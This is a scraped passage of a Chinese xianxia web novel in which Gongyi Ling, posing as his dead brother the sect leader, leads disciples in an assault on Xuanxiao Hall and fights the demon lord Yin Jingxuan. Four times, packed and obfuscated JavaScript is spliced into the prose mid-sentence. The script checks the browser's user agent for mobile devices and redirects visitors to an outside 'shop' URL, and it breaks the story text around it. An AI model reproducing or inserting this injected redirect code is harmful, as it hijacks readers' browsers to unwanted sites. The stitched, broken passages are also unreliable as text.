这些时日发生了太多事情,几乎让公仪岭忘记了还有玄霄殿这回事。 想来也是,上次自己重伤了尹景轩,逼得他暂且退兵。这些日子,他定然是躲在玄霄殿中调息疗伤,打算再找机会卷土重来。 公仪岭正想问问细节,司月吟也看出来他在想什么,立刻道:“阿岚,回去我会把具体他们商议的细节告诉你。” 他愣了愣,轻轻点头:“好。” 齐元白和纪银灵不能久留,没过多久,便告辞离开。 公仪岭望着他们的背影,心中稍微松了口气:他们两人应该没有看出来,这样的话,想要瞒过旁人应该不会太难。 归云剑和彻云剑都放在公仪岚房间的剑架上。 如今他顶替了公仪岚的身份,想要不被识破,如何掩饰佩剑成了一个难题。 他与公仪岚的两把灵剑,名字相似,模样也相似,但是即便是再相似,这两把剑的名头也是高悬在仙家法器榜上的,认识的人不在少数。 公仪岭本想用障眼法,将归云剑的模样障去,但这个办法也只能障住比他修为低的人的眼睛,若是遇到那两位长老,定然是会被看出来的。 正是一筹莫展的时候,让公仪岭和司月吟意外的是,公仪岚身死魂消,灵力四散后,彻云剑竟然并没有变成一块废铁,剑身周围依旧缠绕着强盛的灵力仙气,还是如原来一样,是一把上好的灵剑。 直到公仪岭尝试着驱使彻云剑,才惊讶地发现,彻云剑竟然能听从他的驱使。 司月吟凝眉看着彻云剑,低声叹道:“阿岭,彻云剑也对你认主了。” 公仪岭呆呆地望着手中的彻云剑,指尖触碰这剑身上的“彻云”二字,感受着这上面熟悉的仙气,喃喃道:“这是大哥留下的。” 司月吟对他道:“他这是把彻云剑也一并交托给你了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050023|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >公仪岭抿唇未答。 司月吟又道:“我要离开了,阿岭。” 公仪岭讷讷问道:“你要回抱元门了吗?” 司月吟点了点头:“是的,师父传信,命我速速归去。这几日我一直担心你们的事情,这才留在云灵山从旁协助,现在也是时候离开了。” 公仪岭明白了,对她道:“两日后,我会带着云灵山众弟子,与你们一同前往玄霄殿。” * 这两日,公仪岭并没有闲着。 云灵山中接连几日无人主事,公仪岚的桌案上堆积了不少文书,公仪岭翻看了不少从前公仪岚批阅的内容,有样学样地临摹了他的字迹,将这些积压的文书都处理了。 好在从前公仪岚没少鞭策他练字。虽然公仪岭平日写得潦草了一些,但认真临摹起来,还是能够蒙混过去的,承悦来书房找他的时候,也没能看出什么端倪。 亥时三刻,公仪岭才批完了最后一封文书,搁下了毛笔。 他收起了文书,学着公仪岚的习惯将他们分类叠好,随后起身理了理身后的书架,清理了上面的薄灰。 公仪岚的房间干净整洁,空气中缠绕着淡淡的清香,是公仪岭记忆中熟悉的味道。 他刚收拾完,门敲响了两声,传来了仙侍的声音:“宗主,您该就寝了。” 公仪岭有些愣神,从前他院中的仙侍是不会提醒他就寝的,若是出声,一般都是有什么事情。 还没等他发问,那仙侍便再度开口:“宗主,需要为您燃香吗?” 公仪岭从前并不知道大哥睡前有燃香的习惯,但为了不惹人起疑,还是应了:“嗯,燃吧。” 仙侍得令,推开了房门进来为他燃香,公仪岭这才意识到床边有一个不起眼的小香炉。 看着仙侍动作熟练地替他弄好,香炉里飘散出来的味道正是白日里能闻到的清香气味,只是多了一丝不同,公仪岭心念一动,不动声色地问道:“这香可加了旁的东西?” 仙侍道:“宗主,按您的习惯已加了茯苓三钱,您说,心绪压抑的时候,此类香气是最安神的。” 原来是安神的。 公仪岭有些出神,细细思考着仙侍刚刚说的话。他并不知道公仪岚每晚竟然需要助眠安神的香料才能睡着,而他每次白天过来的时候,并没有见到香料的影子,也就从来不知道这件事,现在想来,大概是公仪岚不想他会因此忧心,这才没让他知道。 仙侍见他失神,心中微微叹息,以为他是又想到了岭师兄才会这样,于是低声道:“宗主,时辰不早了,要替您吹灯吗?” 公仪岭点了点头,等他们吹灭了灯出去,才解开外袍躺上了床榻。 困意并没有袭来,他脑中杂乱地掠过了很多片段,纠缠着乱七八糟的思绪,想要倒头就睡现在竟然变成了一件不容易的事情。 这几日,但凡他一闲下来,就会如此,因此他不得不用文书将自己的时间占满,这样才没有精力去思考别的事情。 公仪岭发呆地望着头顶的床帏,脑海中开始不知第几次的后悔。 是不是他那日他不那么冲动前去紫阳宗打伤众人,也就不会走到今天这一步? 可是,如果依照公仪岚的意思,那日跟随着承悦离开云灵山的话,等到仙家的人发现,定然也不会放过大哥和云灵山。 直到现在,他也很难相信,做事一向那样周全的公仪岚,竟然没给自己留一点后手。 他仍然抱着一丝幻想,分析着公仪岚有没有可能假死脱身,想着想着,又觉得没准自家爹娘也可能是假死,说不定哪天他起床,又能看见他们坐在云灵殿内等着自己一起用膳。 不知过了多久,安神香才起了作用,公仪岭闻着丝丝清香沉沉睡去。 135.火焚身祭旗 舍魂起杀阵(三) 次日醒来,公仪岭将教习弟子课业的活儿交给了承悦处理,承悦知道他这几日心情不佳,十分理解,嘱托了他几句后,便离开了。 他早上在书房里批完公文后,到了午时才去了膳房之中。 昨日公仪岭吩咐了仙侍替他准备一桌酒菜,这会儿仙侍们已经在膳房等待他多时了。 望着面前一桌的菜,公仪岭叫他们都退了下去。 要是在以前,他就自己给自己炒俩菜了,可惜现在是不能了,公仪岚不通厨艺,他自然也就不能当着弟子面做菜了。 桌子上放着两坛竹叶青,是上次齐元白过来吊唁自己的时候带来的。 公仪岭如从前那样殷切,在桌子上为他们放好了酒杯和瓷碗,结结实实地给对面三个位置盛了三碗饭,斟了三杯酒。 公仪拓最爱喝酒,公仪岭的酒量算是随了自家爹了,故而他举起酒杯后,第一杯还是敬给了爹。 “爹,想不到上次参加完宴席后,咱们一家人就再没坐在一块吃一顿饭了。” 公仪岭声音发涩,仰头将酒喝尽,将对面的酒洒在地上,又对旁边沈熙华的位置道:“娘,偶尔一次,今天可别劝我爹少喝点了。” 说完,公仪岭看对面的酒杯没动,就当她默认了。 敬完爹娘后,公仪岭才望向公仪岚的位置,低声道:“大哥,你酒量浅,也不能贪杯,要是大嫂知道的话,定然是会怪我的。” 微风吹过,吹皱了满杯的酒。 公仪岭凝视了片刻,了然道:“那我也当大哥你同意了,你肯定是不愿让大嫂担心的。” 没有回应,他又自顾自饮了一杯。 酒过几巡,公仪岭面色如常,没有半分醉意,继续给他们布菜,直到外面开始喧闹起来,他知道是山中弟子下了学,这才将吃剩下的膳食收起,让仙侍过来洗好。 这个时辰,常有贪食的弟子过来膳房找东西吃,公仪岭刚出门,便遇到了过来用膳的弟子。 公仪岚当宗主的时候,与他们都十分和善,故而弟子们看见他并不畏惧,都十分自然地过去与他打招呼。 有个小师妹诧异道:“宗主,你今日怎么也来膳房了?” 公仪岭略微思忖了一番,对她道:“阿岭从前喜欢来膳房做菜吃,我便来瞧一瞧。” 听到二师兄的名字,这位小师妹也反应了过来,暗自责怪了一番自己失言。 另一个师弟道:“宗主,你午后要去看二师兄吗?我们跟你一起去!” 公仪岭摇头道:“你们午后自行休息吧,我去给阿岭养的三只灵宠准备点吃食。” 众弟子了然。 那师妹指了指膳房道:“宗主,前几日承悦师兄下山的时候,给灵宠买了些猪肝,我去拿出来,您给带过去吧。” 公仪岭没想到承悦还特意下山一趟买了吃食,一阵感动,对师妹点了点头。 * 池塘边上,公仪岭费劲地扯着那一大块猪肝。 小师妹并未顺手替他切好猪肝,公仪岭也没再折回去找刀,只能出此下策了。 云灵山旁人认不出他的气味,但这三只王八还是认得的。公仪岭小心翼翼地环顾着周围,确定不会有人来后,才轻声叫唤了几声,引了王八过来。 他看着招财进宝和富贵狼吞虎咽的样子,恍惚了一下,都快忘了上次自己过来喂是什么时候的事情了。 公仪岭不由想起,明日他就要带着云灵山众弟子前去玄霄殿,如此一来,它们三只的下一顿还不知道什么时候能吃上呢。 要是明日运气不好,自己没准还能在下面与家人团圆了。 这样不太平的日子,也不知道什么时候才是个头。 卯时,公仪岭就醒了。 这几天他一直都是这样的作息,不知不觉间,竟已经形成习惯了。 门口的仙侍对此似乎早已习以为常,看见屋内的灯亮起,便为他打了水来洗漱。 公仪岭每日都担心被山中的人发觉不对,晨起的时候都收拾地很快,所以等到仙侍进来的时候,看见的便是穿戴完毕的人。 仙侍放下水盆便道:“宗主,弟子们都起了,半个时辰后,便能出发。” 公仪岭答道:“你们先出去吧,我随后就来。” 仙侍退下后,公仪岭回过身,看向了桌案上那块不起眼的黑色石头。 当初他将黑石鬼玉交给了承悦,是想让他转交给大哥保管的,却没想到兜兜转转又回到了自己手中。 算算时间,也到了出征之时了,公仪岭的视线在剑架上的归云剑停留了片刻后,取下了放在它上面的彻云剑。 迷雾林外,几乎浩浩荡荡地汇聚了仙家所有修士。 上一次他们出来的时候,尹鸿宣给他们抄了一条安全的近路。而这条近路也正是善承长老在地图上指给所有人看的这一条,想来是齐元白他们商议的时候,将此事告知了他们。 这样紧张的时刻,公仪岭第一个念头竟然是:他们这样悄无声息抄了近道过去,打他们一个措手不及的话,要是尹景轩知道这条路是尹鸿宣透露出去的,会不会气得吐血而亡。 不过他也只能这样一想,因为善承还过来拿着地图与他确认了一番。 公仪岭垂眸看了一眼这分毫不差的地图,默默点了头。 迷雾林的结界想要破解,他们抱元门自有一套办法。善承见他肯定,遂也没有再迟疑,直接带着人破了结界,杀了进去。 众人隐匿身形,先后穿梭在迷雾林间。 这一路上比公仪岭想象地更加顺利,迷雾林没了火凤,他们再无后顾之忧,轻而易举穿过了整片林子。 当时来的时候,公仪岭与纪银灵是昏迷的状态,并不记得出了迷雾林以后的路要如何走,因而心中忐忑着担心他们会来问自己。 好在引路的活儿都被燕家师兄妹两人揽了过去,他们依照着记忆中的路线,成功将人引到了尹鸿宣的住处附近。 公仪岭记得司月吟所说的部署,将尹鸿宣先行拿下算是重要的一环。 他一开始也担心他们会不会将尹鸿宣就地格杀了,连如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061552|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口求情都想好了,好在两位长老和其他宗主并没有打算对他下狠手,在杀入尹鸿宣的殿内后,只是将他拿下,严加看管了起来。 在公仪岭三两句话的试探中,他也大概听了个明白。 原来尹鸿宣从他们离开以后,就被自己爹关了禁闭,直到现在也一步没出殿门,就连自己兄长战死的事情都不知道,显然,尹景轩已经放弃这个儿子,不打算让他参与这些争斗了。 殿外守卫森严,对尹鸿宣来说,也算是护了他安全。反正都是关禁闭,谁来关他似乎没什么分别。 只是尹鸿宣扫视了他们一圈也没看见公仪岭,就趁着没人注意的时候,悄然问了他一句,公仪岭人怎么不在。 公仪岭见他如此心大,竟然还偷偷凑过来找他,被他弄得不知所措,在听到了他开口问的话以后,更是沉默下来,不知道该如何与他解释。 他还没想好措辞,大殿中的人就已经来报。 想来也是,他们再怎么小心,也不能面面俱到,阻止玄霄殿的魔侍打信号通知。 公仪岭望着尹鸿宣大殿门口破土而出的无数傀儡,本能地想提剑冲过去,却被司月吟拦了下来。 司月吟对他传音道:“你跟在他们身后就是。” 公仪岭瞬间反应了过来。 从前他当公仪岭的时候,习惯了横冲直撞,每次打起来也都冲得最快。可他现在不是公仪岭了,自然不能表现得太突兀。 司月吟说完,手中昆吾轮灵力运转,顷刻间便在大殿前布下各种阵法,掩护众人离开。 他们本就打算速战速决,绝不能在尹鸿宣这边被拖住脚步,任由玄霄殿的包围过来。 公仪岭是与彻云交手长大的,加上彻云已认他为主,几天练习下来已经能够运用自如,当即念了法诀,令彻云为众人开道。 彻云剑的剑气凌厉如故,几下扫过,杀翻了那些低阶傀儡,成功给众人争取到了离开的时间。 云灵山的众弟子尚且还位于队伍后方清理着包围上来的傀儡,公仪岭知道时间有限,众弟子不能掉队,立刻朝后面大喝了一声:“走!” 承悦得了令,马上带领着众弟子跟上了队伍。 一路傀儡破土而出的速度不及他们撤离的速度,有些甚至刚露了个头,就被太微山的弟子们用符箓定在原地,随后便被淹没在了各种各样的法术之中。 杀得这样轻松,并没有让公仪岭放松警惕,他心知这些低阶傀儡只是前菜,真正难对付的还在后面。 众人一路狂奔,不到一炷香的时间,就抵达了玄霄殿。 他们虽说来得突然,但难保尹景轩没在自家设下埋伏。公仪岭小心翼翼地打量着四周,相比起尹鸿宣那边的热闹,玄霄殿大殿外面竟然空无一人,心中顿觉不妙。 这样的寂静只持续了不到一盏茶的时间。 “大家小心——” 不知谁大喊了一声,公仪岭的心顿时提到了嗓子眼。还未等他去查看哪里不对,大殿门口的地砖突然纷纷爆裂开来,伸出无数的苍白鬼手。 136.火焚身祭旗 舍魂起杀阵(四) 与此同时,天空中狂风四起,乌云汇聚,转瞬间就变了颜色,看得人心惊胆战。 公仪岭只看了一眼,就知道这些傀儡与当日紫阳殿广场上爬出来的那些一般无二。 这一次甚至比当时广场上的数量更多,他的目光所及之处,密密麻麻看不到尽头。 他意欲先行击杀最近的傀儡,却忽然听到远处爆发出惊天响声,竟是玄霄殿早已布下的法阵起了作用,巨大的爆炸气浪几乎漫过整片区域,连带着几里开外的密林也瞬间燃起火光,广场上血肉横飞,不知死了多少仙家弟子和妖邪之物。 公仪岭心中一震,朝着人堆望去,视线却被傀儡尸群遮挡,看不到齐元白和燕蓉他们是否平安无事,只能瞧见那边一片地全都染上血色,疯狂地朝他们这里蔓延过来。 “闪开!闪开!” “避开那片区域!” 各家宗主纷纷大喊着对弟子们下达指令,努力稳定着局面。 公仪岭挥出彻云剑,瞬间斩断了自己和司月吟脚下的几双鬼手,对她道:“布阵!” 玄霄殿的人能布阵,他们这么多人自然也能,只要让阵修的人成功起了大阵,广场上的这些傀儡灰飞烟灭只是一瞬间的事情。 司月吟被围攻之时不便施展,现在有公仪岭在旁边替她清扫阻碍后,周围终于腾出来了一些空间。她手中法器运转,顷刻间布下了四五个阵法,助旁边的几位仙僚灭了一群傀儡。 她凝视着周围,不容置疑地对公仪岭道:“你先去帮其他家的人,这边有我布阵,不会有事。” 公仪岭匆忙应答。 这些傀儡一爬出来,他们所有人便被冲散了队形,七零八落分散到了各处。公仪岭担心他们被逐个击破,仔细观察着全局,思考着该如何突围出去。 半空中眼花缭乱的术法交叠,有了阵修和符修出手,几番配合下来,便清理了众多傀儡。 公仪岭心中还在担心着友人的安危,直到看见不远处随着狂风飞舞的符篆,才稍微安心了一些。 他知道这是齐元白的法术,那数不清的符篆流光朝着天际飞去,眨眼间就引下数道九天雷火,将广场上的地面劈出几道巨大裂缝。 只是,裂缝中的傀儡即便是被劈了个焦黑,也无法阻止其余的傀儡破土而出。 那些傀儡刚冒出了头,燕渊便找准了时机,手中法扇挥出,一道巨大的火龙汹涌飞出,掠过了地面上的裂缝,借着尸油燃起了数面火墙,将傀儡烧死在了裂缝之中。 公仪岭心中叹息,知道他是将最初爆炸的火光引了过来,才达到了这样的效果,将这些傀儡暂且逼退。想到那些被活活炸死的仙僚,一时也不知该悲伤还是庆幸。 广场上黑气弥漫,尸横遍野,但还是没人见到尹景轩其人。 公仪岭一边与周围的妖孽交手,一边扫视着周围,想确认尹景轩的位置。 几日过去,想必尹景轩的重伤已经恢复,若是他们跟这些傀儡拖延着,消耗灵力,后面再想杀了尹景轩的话,就不容易了。 只是,他扫了几圈也还是没找到尹景轩的身影,不知这人究竟躲在何处作妖。 公仪岭一脚踢飞了旁边朝着自己围过来的傀儡,余光瞧见燕蓉那边应对地十分困难,立刻驱使着彻云剑将她周围的傀儡斩了一片。 燕渊以火筑墙,燕蓉便没有召唤出水龙开道,仅以灵力化作扇中水刃,划开身旁傀儡的脖颈。 然而就算是她用尽全力,也难敌周围一众傀儡,即便有师兄燕煦泽帮忙,也应对地十分困难。燕蓉只见剑光一闪,身后傀儡便倒了一地。后怕之余,心神却有片刻的恍惚,险些以为是那位故人出手相助。 她猛然回头,可哪里还有什么剑影,只剩下其余张牙舞爪围过来的傀儡。 燕蓉背后霍然伸出一只惨白的手臂,就要朝着她的心口捅去。燕煦泽瞳孔骤缩,大喊道:“燕蓉!” 他手中苍暝极夜扇陡然飞旋出去,削去了一只想要趁机偷袭她的鬼手。 燕蓉顿时回过神来,垂眸看了一眼那蜷曲挣扎的断臂,不敢再分神,继续驱使着水刃攻击。 公仪岭也只敢那样出手一次,看见燕蓉回头的那一瞬间,公仪岭的心跳都差点停滞,以为燕蓉认出了自己。好在旁边有燕煦泽替她斩去了鬼手,公仪岭才松了口气。 他忽然听见司月吟一声大喊:“阿岚,从旁协助一下长老那边!” 公仪岭掀翻四周傀儡后,朝她那边看去,马上瞧见了两位长老正在起阵,飞身踩着那些傀儡冲了过去,为他们清扫了阻碍。 两位长老动作极快,阵法一起,整个广场都被金光笼罩,下一刻就传来数声炸响,尘土飞溅,黑烟四散,一片傀儡消散无踪,须臾之间清了大半片场地。 公仪岭见状心中一喜,还未来得及高兴多久,神情便凝滞了。 玄霄殿顶上,尹景轩赫然出现。 “尹景轩在殿顶之上!” 乱战之中,有人大喊了一声,其他人瞬间听到了这句话。 不止公仪岭看见了尹景轩,他一出现,广场上几位宗主几乎同时抬起眼,死死盯着他的动向。 尹景轩冷笑道:“诸位仙师,别来无恙啊。这么快就赶来送死,是嫌自己活太久了?” 玄微大骂:“你这魔头,死期将至还敢口出狂言!” 尹景轩笑得诡异,并未回答,众人只见他的手轻轻挥了一下,被清空的半边广场上立刻凭空多出来了众多妖邪,朝他们蜂拥而来。 公仪岭心道不好。 如果不杀了尹景轩的话,即便他们在下面杀了那么多傀儡和妖魔,也是无济于事。 不算他统领的妖魔鬼怪,光是平阴岛上就有成千上万的妖邪,想要除尽,谈何容易。 而司月吟之前与他说的,其他宗主最终在三化殿内商议的策略,也是意欲先刺杀了尹景轩,至于那些傀儡,就交给他们其他人控场。 在看见尹景轩出来的那一瞬间,纪银灵已经手持叱灵琴,飞了上去。 “纪宗主!” 纪银灵! 公仪岭惊诧不已,眼看着她无所畏惧地冲了上去,愣了片刻后,方才想起来她今日的任务,也是去刺杀尹景轩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074740|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 同僚都上了,公仪岭自然也不能落后让她陷入被动,于是没有片刻迟疑,也提剑追了上去。 琴弦扫出,灵力催动音刃,朝着尹景轩破空而去。尹景轩往上跃起闪避,殿顶上的黑瓦顿时碎裂,在尹景轩脚下炸成无数碎片。 尹景轩冷眼望着飞上来的女子,嗤笑一声,根本没把她放在眼中:“便是你们六弦阁从前的宗主,也不是我的对手,就凭你也想伤我?” 纪银灵本就不是话多的人,现在更是无意与他进行口舌之争,连一个眼神都没给予尹景轩,手上依旧拨动着琴弦,飞出数道强劲的音刃,炸开了殿顶大片地方,逼得他不得不多次闪避。 尹景轩原本还想与纪银灵周旋一下,转瞬间就瞧见公仪岭也上了殿顶,眉目一凝,改变了策略,抬手吹了一声响亮的口哨,周围立刻就冒出来了几个妖邪上来缠住了纪银灵和公仪岭。 公仪岭才刚上殿顶想要帮忙,眼前就是一晃,面前立刻多了两个奇丑无比的妖物,拦住了他的去路,他不得不先行应对面前的敌人。 尹景轩轻蔑地对公仪岭笑了笑,唰地一下拿出了大刀,朝着公仪岭杀了过去。 纪银灵那边妖物不多,几团黑气魂魄轻易就消散在了她的音刃下,见尹景轩根本没把自己放在眼里,直接朝着公仪岚冲过去了,眉心微动,改了曲谱,指尖勾起琴弦,又是一曲慰灵。 但此刻公仪岭最需要的便是这样的曲子。 他面前两个妖孽的修为不低,又杀上来了尹景轩,一时间很难对付,加之周围还有黑气缠绕,不断趁着间隔对他攻击,公仪岭多少有些应接不暇,全靠自身强盛的修为灵力和身手,一次次将妖邪逼退,分身出来与尹景轩对打。 慰灵曲对尹景轩这样的魔头起不到多少作用,但对这些妖孽还是有效果的,有了纪银灵在旁边扰乱妖邪的心神,公仪岭这才将那些黑气魂魄斩了个干净,专心与面前一魔两妖厮杀。 无人能限制纪银灵,哪怕尹景轩偶尔放些妖孽想要拖延纠缠住她,让她停止奏曲,无一不被纪银灵击退,打了个灰飞烟灭。 此刻公仪岭这才明白,为什么他们商议出来去击杀尹景轩的人选会是纪银灵和自己。有他们两人一个正面主攻,一个从旁干扰的话,的确多了几分胜算。 趁着面前妖邪受慰灵纷扰,公仪岭寻了个破绽,彻云剑瞬间刺穿了妖邪的身躯,只听几声凄厉惨叫,彻云刺穿的那几具妖尸喷出大量妖血,顿时倒在地上。 公仪岭嫌恶地瞥了一眼这些妖血,用剑一扫,就将这两具妖尸从殿顶抛下,在地面上砸出两个大坑,还压倒了一片傀儡。 做完这一切,他一步都不敢耽误,身影闪过,瞬间来到了尹景轩面前,打断了他想要重新召唤傀儡的法诀。 公仪岭大喝一声,彻云剑朝他面门直刺而来,尹景轩抬刀横挡住剑尖,将力道化去,将公仪岭的剑锋荡开到一旁。 两兵交接,刀光剑影。打斗之间,尹景轩还不忘出言挑衅道:“怎么,今日与我交手的人变成你了?莫不是上次战后,令弟已经被这些自诩正义的仙门中人给处置了吧?” 137.火焚身祭旗 舍魂起杀阵(五) 他此言挑拨离间的意味明显,公仪岭立刻明白了过来,大怒道:“上次你丢给他阵法图,就是故意为之,想要借刀杀人吧!” 尹景轩笑得意味深长,镇定道:“公仪宗主,你又怎知你的好弟弟,并没有为我偷盗阵法图呢?现在来与我兴师问罪,未免可笑。” 公仪岭在心中痛骂了他千百遍,面上却看不出丝毫变化,依旧寒声道:“没人比我更了解他,他断然不会做出这样的事情!” 他的话在尹景轩看来,十分地苍白无力,他毫不客气地嘲笑道:“你相信又有何用?你看这些仙家的人可有信你们?现如今,你还要与这些杀了你弟弟的凶手们并肩作战,我可真是同情你!” 公仪岭不为所动:“妖言惑众。” 他周身灵力更盛,朝尹景轩攻过去的每一下都汇聚了十成十的灵力,饶是尹景轩也不得不忌惮几分。 他只与公仪岭正面交过手,并未与公仪岚交过手,自然不清楚真正的公仪岚是什么样的出招习惯,只觉他们兄弟二人师出同门,因此招式也有类似之处,并未细思。 何况公仪岭剑剑直指要害,逼得他连召唤傀儡的时间都没有,只能全力与之相抗衡。 “哼,妖言惑众又如何?我儿正是死在你们仙家手上!若非上次被公仪岭重伤,我等断然不会收兵撤退,早就攻占了你们仙界!既然现在,你的亲弟弟也死了,这杀子之仇便算是扯平了。” 公仪岭怒从心中起。 扯平了?真是好一个扯平了! 如果不是他们偷盗御魔幡、劫走燕婉,放出平阴岛的妖邪,他的爹娘怎么会死?他的大哥又怎么会死?仙家的那么多人又怎么会在大战中丧命?! 手上剑势骤然凶猛,尹景轩心头一阵冷笑,知道他这是被自己激怒了。 一旦被激怒,剑招就极易受到影响,也就容易露出破绽,尹景轩正欲找到这样的破绽进行反攻,将他一击致命,身上魔气暴起,手中凶刀瞬间再次蓄满力量,朝着公仪岭狠狠攻去。 公仪岭抬剑堪堪挡下面前之人的攻势,猛然听到旁边那白衣女子大喊道:“公仪宗主!切勿被他扰乱心神!” 手中彻云剑蓦然冰凉,宛如一股寒流将他全身覆没,剑身上灵气四溢,与他自身的灵气交汇起来,如一阵清风扫过灵台,令他猛然清醒过来,惊出一身冷汗。 与此同时,他的耳畔宛如响起当初公仪岚对他说的话。 “阿岭,用剑之时应当集中注意力,心无旁骛,方可应敌。” 呼吸骤然平复,灵识一扫清明。 再出招之时,公仪岭的攻势俨然又迅猛了几分。 见他恢复正常,纪银灵也松了口气,继续凝神弹琴,从旁策应。 尹景轩诧异于他这一瞬间的变化,眼看计策失败,不得不咬牙应对,同时也对旁边的纪银灵忌惮了几分。 先前他也曾听说过六弦阁新上任的这宗主,旁人只道这是个凡人女子出身,这才叫他对纪银灵有些大意轻敌,却没想到此人修为竟也如此高深,与那位先宗主相比也是有过之而无不及。 若是一直任由纪银灵这样弹琴的话,尹景轩想要一对二,并不占上风。 趁公仪岭剑招间隙,他抬手再次唤出傀儡去纠缠纪银灵,想要在纪银灵无暇看顾的时候先行将公仪岭拿下。 谁知纪银灵早有准备,他召唤出来的所有傀儡和妖邪之物,到她面前不是被音刃斩断就是掉下殿顶,即便是在与妖邪对敌的情况下,依旧能极好地照顾到他们两个人之间的战斗。 尹景轩心中惊愕,不得不重视起了纪银灵此人。 他架着公仪岭的剑,猛然发力,那强劲的魔气直冲公仪岭面门,令他侧身闪避开来。 谁也不知道他是如何做到的,眨眼的功夫,尹景轩就甩手朝纪银灵那边丢出了刀。 这样近的距离,纪银灵避无可避,只能起手以全部灵力将这把刀给拦了下来。 公仪岭心知不妙,想要重新驱使彻云剑与他过招,却见他竟然趁纪银灵挡刀之时,汇聚了法力,直攻纪银灵的那把叱灵琴! “纪宗主!小心!” 公仪岭大喝出声,想要让彻云剑提前将他的法术给打断,尽管他出手已经极快,却还是迟了一步,眼睁睁看着纪银灵的踏雪叱灵琴发出一声巨大的炸响,下一秒,他就见琴弦被硬生生催断,连带着纪银灵也因此波及,踉跄着往后退了几步,跪倒在地,呕出一口鲜血。 没了琴声加持,尹景轩笑意更深,对公仪岭打得也就更利索了。 法器被废,多少也会影响仙人的灵力。 公仪岭只能庆幸琴身无碍,只是琴弦被断的话,他们六弦阁定然是有办法给修复的,他见纪银灵状态不佳,也只后面的战斗她恐怕难以帮上什么忙。 他正想凝神聚气重新与尹景轩交手之时,眼睛骤然睁大。 琴弦被打断后,纪银灵仅仅只原地迟疑了片刻,竟然自己用法术将剩下没断的那边琴弦也给斩断了! 这是做什么?! 公仪岭愕然不解,却见这琴弦上泛起灵力流光,他一眼就知,这是纪银灵自己将灵力注入到了琴弦之中,才会达到这样的效果。 公仪岭还没反应过来,纪银灵那边就已经突然出手,斩断的琴弦被她赋予灵力后,如同有了生命一般,像游蛇一样朝着尹景轩身上飞去。 尹景轩刚折他们一人的法器,还未来得及高兴片刻,他的双手便被柔韧细长的琴弦给完全束缚住了。 纪银灵以全部灵力将他的双手禁锢,另一端紧紧拽着琴弦,没过一会儿,手上已经渗出了鲜血。有了她的法力压制,尹景轩便没有办法重新召回自己的武器。 她厉声道:“公仪宗主,快!” 纪银灵拼了命给他抢出来的机会,公仪岭自是不会放过,手上法诀既出,彻云剑立刻调转了方向,朝着尹景轩直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091329|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺过去。 尹景轩冷笑道:“这样的小伎俩,以为能够控制得了我?!” 如他所说,只用琴弦束缚住他的双手仅仅只能拖住一瞬间,尹景轩魔气忽然暴涨,飞速闪避开了公仪岭那极快的一剑后,右手的琴弦竟然同时被魔气崩断。 纪银灵没有料到他这凶狠的举动,再次被魔气灼伤,五脏六腑都剧痛无比,弯着身子已经无法站起来了。 而尹景轩手上已经捏起法诀,下一秒便能将自己的凶刀收回! 人与刀的距离不远,公仪岭想要调转彻云剑把刀在空中截住已是来不及了。 在这千钧一发之际,从殿顶下方飞旋破空而来了一把漆黑法扇,直冲凶刀的刀柄飞去,只听“铛”地一声,这把漆黑法扇硬生生将凶刀给拦截了下来。 是燕煦泽! “你!” 尹景轩目眦欲裂,却并不是看向公仪岭,而是看向了殿底下那紫衣男子冷厉的眼眸。 公仪岭心中大喜,连声暗道燕煦泽这一手来得真是及时,几乎在瞬间就扭转了战局。尹景轩夺刀未成,失去了最好的时机,想要再去挡剑已是晚了,彻云剑没入他的胸膛,狠狠贯穿了他的心脏。 尹景轩不可置信地看着胸口的灵剑,口中先是流出大量鲜血,继而竟然如疯魔了一般开始放声大笑。 这笑诡谲异常,透露着森森寒意,在场所有听到的人全部都不由胆寒。 随后,他周身猛然爆发出一阵强烈的力量,如爆炸的气浪般把公仪岭和纪银灵掀翻,连下面的那些仙僚也被全部波及。 饶是公仪岭有灵力护体,也不由感觉内脏被震得生疼,唇角也渗出丝丝血迹。 而纪银灵周身的仙障本就碎裂,又近距离被这气浪所伤,直接倒在地上,口中流血不止,只剩下了一口气。 “纪银灵!” 